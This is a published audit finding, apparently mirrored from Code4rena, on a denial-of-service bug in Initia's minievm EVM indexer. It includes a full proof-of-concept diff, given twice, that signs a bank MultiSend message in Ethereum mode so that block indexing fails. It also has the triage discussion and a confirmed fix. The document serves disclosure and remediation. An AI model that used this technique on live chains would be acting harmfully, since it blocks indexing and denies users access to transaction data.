Skip to content
DoS Audit finding Advanced

A regular Cosmos SDK message can be disguised as an EVM transaction, causing ListenFinalizeBlock to error which prevents the block from being indexed

A Cosmos SDK message that is not an EVM message can be signed in Ethereum signing mode so the indexer treats it as an EVM transaction, then fails to unpack its response type. This makes the block finalisation listener return an error, so the whole block and its transactions are never indexed and cannot be queried over JSON-RPC.

berndartmueller Follow

Originally disclosed on Code4rena

Submitted by berndartmueller

https://github.com/initia-labs/minievm/blob/744563dc6a642f054b4543db008df22664e4c125/x/evm/keeper/txutils.go#L321

Finding description and impact

The indexer’s ListenFinalizeBlock() is called whenever a block is finalized from within BaseApp::FinalizeBlock() and processes the block, including the transactions.

https://github.com/cosmos/cosmos-sdk/blob/eb1a8e88a4ddf77bc2fe235fc07c57016b7386f0/baseapp/abci.go#L856-L864

func (app *BaseApp) FinalizeBlock(req *abci.RequestFinalizeBlock) (res *abci.ResponseFinalizeBlock, err error) {
	defer func() {
		// call the streaming service hooks with the FinalizeBlock messages
		for _, streamingListener := range app.streamingManager.ABCIListeners {
			if err := streamingListener.ListenFinalizeBlock(app.finalizeBlockState.Context(), *req, *res); err != nil {
				app.logger.Error("ListenFinalizeBlock listening hook failed", "height", req.Height, "err", err)
			}
		}
	}()

During looping the transactions, it extracts the logs and the contract address from the transaction result:

indexer/abci.go#L86-L91

86: // extract logs and contract address from tx results
87: ethLogs, contractAddr, err := extractLogsAndContractAddr(txStatus, txResult.Data, ethTx.To() == nil)
88: if err != nil {
89: 	e.logger.Error("failed to extract logs and contract address", "err", err)
90: 	return err
91: }

extractLogsAndContractAddr() then tries to unpack the transaction data into either MsgCreateResponse in line 28 or MsgCallResponse in line 37 by calling unpackData().

If the message’s type URL is not matching the expected types from the MsgCreateResponse or MsgCallResponse, it returns an error in line 61.

indexer/utils.go#L47-L70

47: // unpackData extracts msg response from the data
48: func unpackData(data []byte, resp proto.Message) error {
49: 	var txMsgData sdk.TxMsgData
50: 	if err := proto.Unmarshal(data, &txMsgData); err != nil {
51: 		return err
52: 	}
53:
54: 	if len(txMsgData.MsgResponses) == 0 {
55: 		return sdkerrors.ErrLogic.Wrap("failed to unpack data; got nil Msg response")
56: 	}
57:
58: 	msgResp := txMsgData.MsgResponses[0]
59: 	expectedTypeUrl := sdk.MsgTypeURL(resp)
60: 	if msgResp.TypeUrl != expectedTypeUrl {
61: 		return fmt.Errorf("unexpected type URL; got: %s, expected: %s", msgResp.TypeUrl, expectedTypeUrl)
62: 	}
63:
64: 	// Unpack the response
65: 	if err := proto.Unmarshal(msgResp.Value, resp); err != nil {
66: 		return err
67: 	}
68:
69: 	return nil
70: }

In this case, the error will be propagated up to the ListenFinalizeBlock function in line 87, which will then exit the loop and stops processing the block. Consequently, the block and its transactions is not indexed and thus not available when querying via the JSON-RPC. Additionally, pruning is also not run and the bloom filter is not created.

Now the question is how this can be exploited?

The goal is to disguise a Cosmos SDK message, that is not a MsgCall or MsgCreate, so that extractLogsAndContractAddr() and more specifically, unpackData() errors due to the mismatch of the type URL, as an EVM transaction.

This can be done by using any Cosmos SDK message and signing it as if it were a EVM message (MsgCreate, MsgCall), by using SignMode_SIGN_MODE_ETHEREUM.

As a result, ConvertCosmosTxToEthereumTx() will consider this transaction to be an EVM transaction, bypassing the check in txutils.go#L250-L253.

Subsequently, it will also bypass the switch/case in txutils.go#L286-L321, as the type URL does not match any of the expected types (e.g., /minievm.evm.v1.MsgCall). The results is a valid EVM transaction, with the notable difference that txData.To = nil and txData.Data = nil.

The transaction will be successfully executed, but when processing it in ListenFinalizeBlock, it will error out due to the mismatch of the type URL in unpackData(), as it was expecting types.MsgCreateResponse.

Proof of Concept

The test case Test_ListenFinalizeBlock_Audit_Errors demonstrates how an ETH transaction can be wrapped with a bank MultiSend message, so that ListenFinalizeBlock errors, preventing the block from being indexed.

Please note that CustomConvertEthereumTxToCosmosTx is a copy of the original function. It only differs by adding the MultiSend Cosmos message instead of MsgCreate or MsgCall. It makes the PoC simpler. But it would also be possible to build such an transaction without CustomConvertEthereumTxToCosmosTx, using just the Cosmos tx builder.

Also, the MultiSend message handler was changed to not error. Again, also for simplicity. Any other Cosmos SDK message (e.g. Send) would work as well.

diff --git a/indexer/abci_test.go b/indexer/abci_test.go
--- indexer/abci_test.go
+++ indexer/abci_test.go
@@ -1,19 +1,26 @@
 package indexer_test

 import (
 	"context"
+	"crypto/ecdsa"
 	"math/big"
 	"sync"
 	"testing"

+	"cosmossdk.io/collections"
+	coretypes "github.com/ethereum/go-ethereum/core/types"
+	"github.com/ethereum/go-ethereum/crypto"
+	"github.com/initia-labs/initia/crypto/ethsecp256k1"
 	"github.com/stretchr/testify/require"

+	sdk "github.com/cosmos/cosmos-sdk/types"
+	"github.com/ethereum/go-ethereum/common"
+	"github.com/ethereum/go-ethereum/common/hexutil"
+	minitiaapp "github.com/initia-labs/minievm/app"
 	"github.com/initia-labs/minievm/tests"
+	evmkeeper "github.com/initia-labs/minievm/x/evm/keeper"
 	evmtypes "github.com/initia-labs/minievm/x/evm/types"
-
-	"github.com/ethereum/go-ethereum/common"
-	"github.com/ethereum/go-ethereum/common/hexutil"
 )

 func Test_ListenFinalizeBlock(t *testing.T) {
 	app, addrs, privKeys := tests.CreateApp(t)
@@ -61,8 +68,80 @@
 	require.Equal(t, finalizeReq.Height, header.Number.Int64())

 }

+func CustomGenerateETHTx(t *testing.T, app *minitiaapp.MinitiaApp, privKey *ecdsa.PrivateKey, opts ...tests.Opt) (sdk.Tx, common.Hash) {
+	value := new(big.Int).SetUint64(0)
+
+	ctx, err := app.CreateQueryContext(0, false)
+	require.NoError(t, err)
+
+	gasLimit := new(big.Int).SetUint64(1_000_000)
+	gasPrice := new(big.Int).SetUint64(1_000_000_000)
+
+	ethChainID := evmtypes.ConvertCosmosChainIDToEthereumChainID(ctx.ChainID())
+	dynamicFeeTx := &coretypes.DynamicFeeTx{
+		ChainID:    ethChainID,
+		Nonce:      0,
+		GasTipCap:  big.NewInt(0),
+		GasFeeCap:  gasPrice,
+		Gas:        gasLimit.Uint64(),
+		To:         nil,
+		Data:       nil,
+		Value:      value,
+		AccessList: coretypes.AccessList{},
+	}
+	for _, opt := range opts {
+		opt(dynamicFeeTx)
+	}
+	if dynamicFeeTx.Nonce == 0 {
+		cosmosKey := ethsecp256k1.PrivKey{Key: crypto.FromECDSA(privKey)}
+		addrBz := cosmosKey.PubKey().Address()
+		dynamicFeeTx.Nonce, err = app.AccountKeeper.GetSequence(ctx, sdk.AccAddress(addrBz))
+		require.NoError(t, err)
+	}
+
+	ethTx := coretypes.NewTx(dynamicFeeTx)
+	signer := coretypes.LatestSignerForChainID(ethChainID)
+	signedTx, err := coretypes.SignTx(ethTx, signer, privKey)
+	require.NoError(t, err)
+
+	// Convert to cosmos tx using the custom method which uses a bank multi send message instead
+	sdkTx, err := evmkeeper.NewTxUtils(app.EVMKeeper).CustomConvertEthereumTxToCosmosTx(ctx, signedTx)
+	require.NoError(t, err)
+
+	return sdkTx, signedTx.Hash()
+}
+
+func Test_ListenFinalizeBlock_Audit_Errors(t *testing.T) {
+	app, _, privKeys := tests.CreateApp(t)
+	indexer := app.EVMIndexer()
+	defer app.Close()
+
+	// Create regular (victim) tx
+	victimTx, victimEvmTxHash := tests.GenerateCreateERC20Tx(t, app, privKeys[0])
+
+	// Create malicious tx
+	tx, evmTxHash := CustomGenerateETHTx(t, app, privKeys[0])
+
+	// Execute both tx's and verify they are successful
+	_, finalizeRes := tests.ExecuteTxs(t, app, victimTx, tx)
+	tests.CheckTxResult(t, finalizeRes.TxResults[0], true)
+	tests.CheckTxResult(t, finalizeRes.TxResults[1], true)
+
+	ctx, err := app.CreateQueryContext(0, false)
+	require.NoError(t, err)
+
+	// check the tx's are both not indexed
+	victimEvmTx, err := indexer.TxByHash(ctx, victimEvmTxHash)
+	require.ErrorIs(t, err, collections.ErrNotFound)
+	require.Nil(t, victimEvmTx)
+
+	evmTx, err := indexer.TxByHash(ctx, evmTxHash)
+	require.ErrorIs(t, err, collections.ErrNotFound)
+	require.Nil(t, evmTx)
+}
+
 func Test_ListenFinalizeBlock_Subscribe(t *testing.T) {
 	app, _, privKeys := tests.CreateApp(t)
 	indexer := app.EVMIndexer()
 	defer app.Close()
diff --git a/x/bank/keeper/msg_server.go b/x/bank/keeper/msg_server.go
--- x/bank/keeper/msg_server.go
+++ x/bank/keeper/msg_server.go
@@ -3,10 +3,8 @@
 import (
 	"context"

 	"github.com/hashicorp/go-metrics"
-	"google.golang.org/grpc/codes"
-	"google.golang.org/grpc/status"

 	errorsmod "cosmossdk.io/errors"
 	"github.com/cosmos/cosmos-sdk/telemetry"
 	sdk "github.com/cosmos/cosmos-sdk/types"
@@ -84,9 +82,9 @@
 	return &types.MsgSendResponse{}, nil
 }

 func (k msgServer) MultiSend(goCtx context.Context, msg *types.MsgMultiSend) (*types.MsgMultiSendResponse, error) {
-	return nil, status.Errorf(codes.Unimplemented, "not supported")
+	return nil, nil
 }

 func (k msgServer) UpdateParams(goCtx context.Context, req *types.MsgUpdateParams) (*types.MsgUpdateParamsResponse, error) {
 	if k.GetAuthority() != req.Authority {
diff --git a/x/evm/keeper/txutils.go b/x/evm/keeper/txutils.go
--- x/evm/keeper/txutils.go
+++ x/evm/keeper/txutils.go
@@ -12,8 +12,9 @@
 	sdkerrors "github.com/cosmos/cosmos-sdk/types/errors"
 	"github.com/cosmos/cosmos-sdk/types/tx/signing"
 	authsigning "github.com/cosmos/cosmos-sdk/x/auth/signing"
 	authtx "github.com/cosmos/cosmos-sdk/x/auth/tx"
+	banktypes "github.com/cosmos/cosmos-sdk/x/bank/types"

 	"github.com/ethereum/go-ethereum/common"
 	"github.com/ethereum/go-ethereum/common/hexutil"
 	coretypes "github.com/ethereum/go-ethereum/core/types"
@@ -180,8 +181,131 @@

 	return txBuilder.GetTx(), nil
 }

+func (u *TxUtils) CustomConvertEthereumTxToCosmosTx(ctx context.Context, ethTx *coretypes.Transaction) (sdk.Tx, error) {
+	params, err := u.Params.Get(ctx)
+	if err != nil {
+		return nil, err
+	}
+
+	feeDenom := params.FeeDenom
+	decimals, err := u.ERC20Keeper().GetDecimals(ctx, feeDenom)
+	if err != nil {
+		return nil, err
+	}
+
+	gasFeeCap := ethTx.GasFeeCap()
+	if gasFeeCap == nil {
+		gasFeeCap = big.NewInt(0)
+	}
+	gasTipCap := ethTx.GasTipCap()
+	if gasTipCap == nil {
+		gasTipCap = big.NewInt(0)
+	}
+
+	// convert gas fee unit from wei to cosmos fee unit
+	gasLimit := ethTx.Gas()
+	gasFeeAmount := computeGasFeeAmount(gasFeeCap, gasLimit, decimals)
+	feeAmount := sdk.NewCoins(sdk.NewCoin(params.FeeDenom, math.NewIntFromBigInt(gasFeeAmount)))
+
+	// convert value unit from wei to cosmos fee unit
+	value := types.FromEthersUnit(decimals, ethTx.Value())
+
+	// check if the value is correctly converted without dropping any precision
+	if types.ToEthersUint(decimals, value).Cmp(ethTx.Value()) != 0 {
+		return nil, types.ErrInvalidValue.Wrap("failed to convert value to token unit without dropping precision")
+	}
+
+	// signer
+	chainID := sdk.UnwrapSDKContext(ctx).ChainID()
+	ethChainID := types.ConvertCosmosChainIDToEthereumChainID(chainID)
+	signer := coretypes.LatestSignerForChainID(ethChainID)
+
+	// get tx sender
+	ethSender, err := coretypes.Sender(signer, ethTx)
+	if err != nil {
+		return nil, err
+	}
+	// sig bytes
+	v, r, s := ethTx.RawSignatureValues()
+	sigBytes := make([]byte, 65)
+	switch ethTx.Type() {
+	case coretypes.LegacyTxType:
+		sigBytes[64] = byte(new(big.Int).Sub(v, new(big.Int).Add(new(big.Int).Add(ethChainID, ethChainID), big.NewInt(35))).Uint64())
+	case coretypes.AccessListTxType, coretypes.DynamicFeeTxType:
+		sigBytes[64] = byte(v.Uint64())
+	default:
+		return nil, sdkerrors.ErrorInvalidSigner.Wrapf("unsupported tx type: %d", ethTx.Type())
+	}
+
+	copy(sigBytes[32-len(r.Bytes()):32], r.Bytes())
+	copy(sigBytes[64-len(s.Bytes()):64], s.Bytes())
+
+	sigData := &signing.SingleSignatureData{
+		SignMode:  SignMode_SIGN_MODE_ETHEREUM,
+		Signature: sigBytes,
+	}
+
+	// recover pubkey
+	pubKeyBz, err := crypto.Ecrecover(signer.Hash(ethTx).Bytes(), sigBytes)
+	if err != nil {
+		return nil, sdkerrors.ErrorInvalidSigner.Wrapf("failed to recover pubkey: %v", err.Error())
+	}
+
+	// compress pubkey
+	compressedPubKey, err := ethsecp256k1.NewPubKeyFromBytes(pubKeyBz)
+	if err != nil {
+		return nil, sdkerrors.ErrorInvalidSigner.Wrapf("failed to create pubkey: %v", err.Error())
+	}
+
+	// construct signature
+	sig := signing.SignatureV2{
+		PubKey:   compressedPubKey,
+		Data:     sigData,
+		Sequence: ethTx.Nonce(),
+	}
+
+	// convert sender to string
+	sender, err := u.ac.BytesToString(ethSender.Bytes())
+	if err != nil {
+		return nil, err
+	}
+
+	sdkMsgs := []sdk.Msg{}
+
+	// add `MultiSend` bank message
+	sdkMsgs = append(sdkMsgs, &banktypes.MsgMultiSend{
+		Inputs: []banktypes.Input{
+			{Address: sender, Coins: sdk.NewCoins(sdk.NewCoin(feeDenom, math.NewIntFromBigInt(value)))},
+		},
+		Outputs: []banktypes.Output{},
+	})
+
+	txBuilder := authtx.NewTxConfig(u.cdc, authtx.DefaultSignModes).NewTxBuilder()
+	if err = txBuilder.SetMsgs(sdkMsgs...); err != nil {
+		return nil, err
+	}
+	txBuilder.SetFeeAmount(feeAmount)
+	txBuilder.SetGasLimit(gasLimit)
+	if err = txBuilder.SetSignatures(sig); err != nil {
+		return nil, err
+	}
+
+	// set memo
+	memo, err := json.Marshal(metadata{
+		Type:      ethTx.Type(),
+		GasFeeCap: gasFeeCap.String(),
+		GasTipCap: gasTipCap.String(),
+	})
+	if err != nil {
+		return nil, err
+	}
+	txBuilder.SetMemo(string(memo))
+
+	return txBuilder.GetTx(), nil
+}
+
 type metadata struct {
 	Type      uint8  `json:"type"`
 	GasFeeCap string `json:"gas_fee_cap"`
 	GasTipCap string `json:"gas_tip_cap"`

Recommended mitigation steps

I think it should be sufficient to fix this issue by adding a default case to the switch statement in ConvertCosmosTxToEthereumTx(), which returns nil, nil, nil so that such a transaction is not considered an EVM transaction.

beer-1 (Initia) disputed and commented:

If you change the message and keep the signature, then your tx cannot be entered to mempool because signature verification failed in ante level.

berndartmueller (warden) commented:

If you change the message and keep the signature, then your tx cannot be entered to mempool because signature verification failed in ante level.

There’s a misunderstanding. The PoC does not change/replace the message. It simply uses MsgMultiSend instead of e.g. MsgCall. The signature remains valid. It’s the same logic that ConvertCosmosTxToEthereumTx uses.

I noticed that the git diff contained an error so that it was not possible to git apply it. I’ve fixed it below. Also, I’ve added fmt.Println statements to the signature verification to show that the signature is indeed valid.

Please run the PoC to convince yourself of this issue. If you need further help of if something is unclear, please let me know. Happy to help!

diff --git a/app/ante/verify.go b/app/ante/verify.go
index 6381af1..bd054a9 100644
--- a/app/ante/verify.go
+++ b/app/ante/verify.go
@@ -70,7 +70,8 @@ func verifySignature(
 			if err != nil {
 				return errorsmod.Wrapf(sdkerrors.ErrorInvalidSigner, "failed to recover sender address: %v", err)
 			}
-
+			fmt.Println("expected sender", expectedSender)
+			fmt.Println("recover sender", sender.String())
 			// check if the recovered sender matches the expected sender
 			if expectedSender == nil || *expectedSender != sender {
 				return errorsmod.Wrapf(sdkerrors.ErrorInvalidSigner, "expected sender %s, got %s", expectedSender, sender)
diff --git a/indexer/abci_test.go b/indexer/abci_test.go
index b3895ea..7051fe4 100644
--- a/indexer/abci_test.go
+++ b/indexer/abci_test.go
@@ -2,17 +2,24 @@ package indexer_test

 import (
 	"context"
+	"crypto/ecdsa"
 	"math/big"
 	"sync"
 	"testing"

+	"cosmossdk.io/collections"
+	coretypes "github.com/ethereum/go-ethereum/core/types"
+	"github.com/ethereum/go-ethereum/crypto"
+	"github.com/initia-labs/initia/crypto/ethsecp256k1"
 	"github.com/stretchr/testify/require"

-	"github.com/initia-labs/minievm/tests"
-	evmtypes "github.com/initia-labs/minievm/x/evm/types"
-
+	sdk "github.com/cosmos/cosmos-sdk/types"
 	"github.com/ethereum/go-ethereum/common"
 	"github.com/ethereum/go-ethereum/common/hexutil"
+	minitiaapp "github.com/initia-labs/minievm/app"
+	"github.com/initia-labs/minievm/tests"
+	evmkeeper "github.com/initia-labs/minievm/x/evm/keeper"
+	evmtypes "github.com/initia-labs/minievm/x/evm/types"
 )

 func Test_ListenFinalizeBlock(t *testing.T) {
@@ -62,6 +69,80 @@ func Test_ListenFinalizeBlock(t *testing.T) {

 }

+func CustomGenerateETHTx(t *testing.T, app *minitiaapp.MinitiaApp, privKey *ecdsa.PrivateKey, opts ...tests.Opt) (sdk.Tx, common.Hash) {
+	value := new(big.Int).SetUint64(0)
+
+	ctx, err := app.CreateQueryContext(0, false)
+	require.NoError(t, err)
+
+	gasLimit := new(big.Int).SetUint64(1_000_000)
+	gasPrice := new(big.Int).SetUint64(1_000_000_000)
+
+	ethChainID := evmtypes.ConvertCosmosChainIDToEthereumChainID(ctx.ChainID())
+	dynamicFeeTx := &coretypes.DynamicFeeTx{
+		ChainID:    ethChainID,
+		Nonce:      1,
+		GasTipCap:  big.NewInt(0),
+		GasFeeCap:  gasPrice,
+		Gas:        gasLimit.Uint64(),
+		To:         nil,
+		Data:       nil,
+		Value:      value,
+		AccessList: coretypes.AccessList{},
+	}
+	for _, opt := range opts {
+		opt(dynamicFeeTx)
+	}
+	if dynamicFeeTx.Nonce == 0 {
+		cosmosKey := ethsecp256k1.PrivKey{Key: crypto.FromECDSA(privKey)}
+		addrBz := cosmosKey.PubKey().Address()
+		dynamicFeeTx.Nonce, err = app.AccountKeeper.GetSequence(ctx, sdk.AccAddress(addrBz))
+		require.NoError(t, err)
+	}
+
+	ethTx := coretypes.NewTx(dynamicFeeTx)
+	signer := coretypes.LatestSignerForChainID(ethChainID)
+	signedTx, err := coretypes.SignTx(ethTx, signer, privKey)
+	require.NoError(t, err)
+
+	// Convert to cosmos tx using the custom method which uses a bank multi send message instead
+	sdkTx, err := evmkeeper.NewTxUtils(app.EVMKeeper).CustomConvertEthereumTxToCosmosTx(ctx, signedTx)
+	require.NoError(t, err)
+
+	return sdkTx, signedTx.Hash()
+}
+
+func Test_ListenFinalizeBlock_Audit_Errors(t *testing.T) {
+	app, _, privKeys := tests.CreateApp(t)
+	indexer := app.EVMIndexer()
+	defer app.Close()
+
+	// Create regular (victim) tx
+	victimTx, victimEvmTxHash := tests.GenerateCreateERC20Tx(t, app, privKeys[0])
+
+	// Create malicious tx
+	tx, evmTxHash := CustomGenerateETHTx(t, app, privKeys[0])
+
+	// Execute both tx's and verify they are successful
+	_, finalizeRes := tests.ExecuteTxs(t, app, victimTx, tx)
+	tests.CheckTxResult(t, finalizeRes.TxResults[0], true)
+	tests.CheckTxResult(t, finalizeRes.TxResults[1], true)
+
+	ctx, err := app.CreateQueryContext(0, false)
+	require.NoError(t, err)
+
+	// check the tx's are both not indexed
+	victimEvmTx, err := indexer.TxByHash(ctx, victimEvmTxHash)
+	require.ErrorIs(t, err, collections.ErrNotFound)
+	require.Nil(t, victimEvmTx)
+
+	evmTx, err := indexer.TxByHash(ctx, evmTxHash)
+	require.ErrorIs(t, err, collections.ErrNotFound)
+	require.Nil(t, evmTx)
+
+	require.False(t, true)
+}
+
 func Test_ListenFinalizeBlock_Subscribe(t *testing.T) {
 	app, _, privKeys := tests.CreateApp(t)
 	indexer := app.EVMIndexer()
diff --git a/x/bank/keeper/msg_server.go b/x/bank/keeper/msg_server.go
index 8bf9276..5938e36 100644
--- a/x/bank/keeper/msg_server.go
+++ b/x/bank/keeper/msg_server.go
@@ -4,8 +4,6 @@ import (
 	"context"

 	"github.com/hashicorp/go-metrics"
-	"google.golang.org/grpc/codes"
-	"google.golang.org/grpc/status"

 	errorsmod "cosmossdk.io/errors"
 	"github.com/cosmos/cosmos-sdk/telemetry"
@@ -85,7 +83,7 @@ func (k msgServer) Send(goCtx context.Context, msg *types.MsgSend) (*types.MsgSe
 }

 func (k msgServer) MultiSend(goCtx context.Context, msg *types.MsgMultiSend) (*types.MsgMultiSendResponse, error) {
-	return nil, status.Errorf(codes.Unimplemented, "not supported")
+	return nil, nil
 }

 func (k msgServer) UpdateParams(goCtx context.Context, req *types.MsgUpdateParams) (*types.MsgUpdateParamsResponse, error) {
diff --git a/x/evm/keeper/txutils.go b/x/evm/keeper/txutils.go
index 4a4717c..0a3715f 100644
--- a/x/evm/keeper/txutils.go
+++ b/x/evm/keeper/txutils.go
@@ -13,6 +13,7 @@ import (
 	"github.com/cosmos/cosmos-sdk/types/tx/signing"
 	authsigning "github.com/cosmos/cosmos-sdk/x/auth/signing"
 	authtx "github.com/cosmos/cosmos-sdk/x/auth/tx"
+	banktypes "github.com/cosmos/cosmos-sdk/x/bank/types"

 	"github.com/ethereum/go-ethereum/common"
 	"github.com/ethereum/go-ethereum/common/hexutil"
@@ -181,6 +182,129 @@ func (u *TxUtils) ConvertEthereumTxToCosmosTx(ctx context.Context, ethTx *corety
 	return txBuilder.GetTx(), nil
 }

+func (u *TxUtils) CustomConvertEthereumTxToCosmosTx(ctx context.Context, ethTx *coretypes.Transaction) (sdk.Tx, error) {
+	params, err := u.Params.Get(ctx)
+	if err != nil {
+		return nil, err
+	}
+
+	feeDenom := params.FeeDenom
+	decimals, err := u.ERC20Keeper().GetDecimals(ctx, feeDenom)
+	if err != nil {
+		return nil, err
+	}
+
+	gasFeeCap := ethTx.GasFeeCap()
+	if gasFeeCap == nil {
+		gasFeeCap = big.NewInt(0)
+	}
+	gasTipCap := ethTx.GasTipCap()
+	if gasTipCap == nil {
+		gasTipCap = big.NewInt(0)
+	}
+
+	// convert gas fee unit from wei to cosmos fee unit
+	gasLimit := ethTx.Gas()
+	gasFeeAmount := computeGasFeeAmount(gasFeeCap, gasLimit, decimals)
+	feeAmount := sdk.NewCoins(sdk.NewCoin(params.FeeDenom, math.NewIntFromBigInt(gasFeeAmount)))
+
+	// convert value unit from wei to cosmos fee unit
+	value := types.FromEthersUnit(decimals, ethTx.Value())
+
+	// check if the value is correctly converted without dropping any precision
+	if types.ToEthersUint(decimals, value).Cmp(ethTx.Value()) != 0 {
+		return nil, types.ErrInvalidValue.Wrap("failed to convert value to token unit without dropping precision")
+	}
+
+	// signer
+	chainID := sdk.UnwrapSDKContext(ctx).ChainID()
+	ethChainID := types.ConvertCosmosChainIDToEthereumChainID(chainID)
+	signer := coretypes.LatestSignerForChainID(ethChainID)
+
+	// get tx sender
+	ethSender, err := coretypes.Sender(signer, ethTx)
+	if err != nil {
+		return nil, err
+	}
+	// sig bytes
+	v, r, s := ethTx.RawSignatureValues()
+	sigBytes := make([]byte, 65)
+	switch ethTx.Type() {
+	case coretypes.LegacyTxType:
+		sigBytes[64] = byte(new(big.Int).Sub(v, new(big.Int).Add(new(big.Int).Add(ethChainID, ethChainID), big.NewInt(35))).Uint64())
+	case coretypes.AccessListTxType, coretypes.DynamicFeeTxType:
+		sigBytes[64] = byte(v.Uint64())
+	default:
+		return nil, sdkerrors.ErrorInvalidSigner.Wrapf("unsupported tx type: %d", ethTx.Type())
+	}
+
+	copy(sigBytes[32-len(r.Bytes()):32], r.Bytes())
+	copy(sigBytes[64-len(s.Bytes()):64], s.Bytes())
+
+	sigData := &signing.SingleSignatureData{
+		SignMode:  SignMode_SIGN_MODE_ETHEREUM,
+		Signature: sigBytes,
+	}
+
+	// recover pubkey
+	pubKeyBz, err := crypto.Ecrecover(signer.Hash(ethTx).Bytes(), sigBytes)
+	if err != nil {
+		return nil, sdkerrors.ErrorInvalidSigner.Wrapf("failed to recover pubkey: %v", err.Error())
+	}
+
+	// compress pubkey
+	compressedPubKey, err := ethsecp256k1.NewPubKeyFromBytes(pubKeyBz)
+	if err != nil {
+		return nil, sdkerrors.ErrorInvalidSigner.Wrapf("failed to create pubkey: %v", err.Error())
+	}
+
+	// construct signature
+	sig := signing.SignatureV2{
+		PubKey:   compressedPubKey,
+		Data:     sigData,
+		Sequence: ethTx.Nonce(),
+	}
+
+	// convert sender to string
+	sender, err := u.ac.BytesToString(ethSender.Bytes())
+	if err != nil {
+		return nil, err
+	}
+
+	sdkMsgs := []sdk.Msg{}
+
+	// add `MultiSend` bank message
+	sdkMsgs = append(sdkMsgs, &banktypes.MsgMultiSend{
+		Inputs: []banktypes.Input{
+			{Address: sender, Coins: sdk.NewCoins(sdk.NewCoin(feeDenom, math.NewIntFromBigInt(value)))},
+		},
+		Outputs: []banktypes.Output{},
+	})
+
+	txBuilder := authtx.NewTxConfig(u.cdc, authtx.DefaultSignModes).NewTxBuilder()
+	if err = txBuilder.SetMsgs(sdkMsgs...); err != nil {
+		return nil, err
+	}
+	txBuilder.SetFeeAmount(feeAmount)
+	txBuilder.SetGasLimit(gasLimit)
+	if err = txBuilder.SetSignatures(sig); err != nil {
+		return nil, err
+	}
+
+	// set memo
+	memo, err := json.Marshal(metadata{
+		Type:      ethTx.Type(),
+		GasFeeCap: gasFeeCap.String(),
+		GasTipCap: gasTipCap.String(),
+	})
+	if err != nil {
+		return nil, err
+	}
+	txBuilder.SetMemo(string(memo))
+
+	return txBuilder.GetTx(), nil
+}
+
 type metadata struct {
 	Type      uint8  `json:"type"`
 	GasFeeCap string `json:"gas_fee_cap"`

LSDan (judge) commented:

Thank you for the additional detail. Reinstated the validity.

beer-1 (Initia) commented:

Still, I don’t think this is possible at all. The problem you are saying is the second tx will return error when we call ConvertCosmosTxToEthereumTx function here.

This tx cannot enter this indexer code due to ante handler is already filter this type of transactions; see here. We are using skip-mev’s block-sdk which is ensuring to create a block only with the txs those are valid in the ante handler.

berndartmueller (warden) commented:

I’m saying that extractLogsAndContractAddr errors. It will not be filtered in the ante handler. Please run the PoC to get a better feeling for the issue.

Initia mitigated:

PR here: ConvertCosmosTxToEthereumTx to properly check type url.

Status: Mitigation confirmed. Full details in reports from berndartmueller, Franfran and 0xAlix2.


The original report as published on Code4rena, by berndartmueller. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the conversion from Cosmos to Ethereum transactions has no default case for unrecognised message types, so a non-EVM message signed in Ethereum mode is still treated as an EVM transaction and later fails the response type check in the indexer.

Impact

A single crafted transaction causes the block to be skipped by the indexer, so its transactions are unavailable over JSON-RPC and pruning and bloom filter creation do not run for that block.

What the attacker needed

Ability to submit a transaction; transaction signed in Ethereum mode

The fix

A default case should be added to the switch in the conversion function so that unrecognised message types are not treated as EVM transactions.

How it was found

  1. Create a normal transaction from a victim account.
  2. Build an Ethereum-style transaction whose Cosmos message is a bank MultiSend rather than MsgCall or MsgCreate.
  3. Submit both transactions and confirm both execute successfully.
  4. Query the indexer for both transaction hashes and observe neither is found.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A blockchain node runs a background job that reads each finished block and stores its transactions in a searchable database. The job assumed every transaction signed in the Ethereum style was an Ethereum transaction, but an attacker can sign an ordinary Cosmos transaction that way instead. The job then hits an unexpected value, gives up on the whole block, and nothing from that block can be looked up afterwards.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by berndartmueller

View all

97 more disclosed reports, best first.

More from Initia Cosmos

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.